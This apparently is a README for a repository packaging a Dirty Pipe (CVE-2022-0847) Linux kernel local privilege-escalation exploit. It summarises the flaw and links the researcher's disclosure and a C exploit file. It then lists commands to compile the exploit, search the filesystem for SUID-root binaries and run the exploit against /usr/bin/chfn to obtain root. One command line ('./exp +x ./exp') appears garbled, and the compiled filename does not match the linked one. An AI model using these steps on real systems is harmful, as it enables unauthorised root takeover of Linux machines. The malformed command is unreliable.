
CVE-2022-0847-DirtyPipe-Exploit
On March 7, foreign security researcher Max Kellermann published a blog disclosing a local privilege escalation vulnerability CVE-2022-0847 in the Linux kernel: https://dirtypipe.cm4all.com/
CVE-2022-0847 is a local privilege escalation vulnerability present in Linux kernel 5.8 and later versions. By exploiting this vulnerability, attackers can overwrite data in any readable file, thereby elevating a regular user to root privileges.
The vulnerability principle of CVE-2022-0847 is similar to CVE-2016-5195 Dirty Cow, but it is easier to exploit. The author of the vulnerability named it "Dirty Pipe".
Link: https://haxx.in/files/dirtypipez.c
Author: Max Kellermann [email protected]
gcc -o exp exploit.c
./exp +x ./exp
# 查找suid文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
./exp /usr/bin/chfn
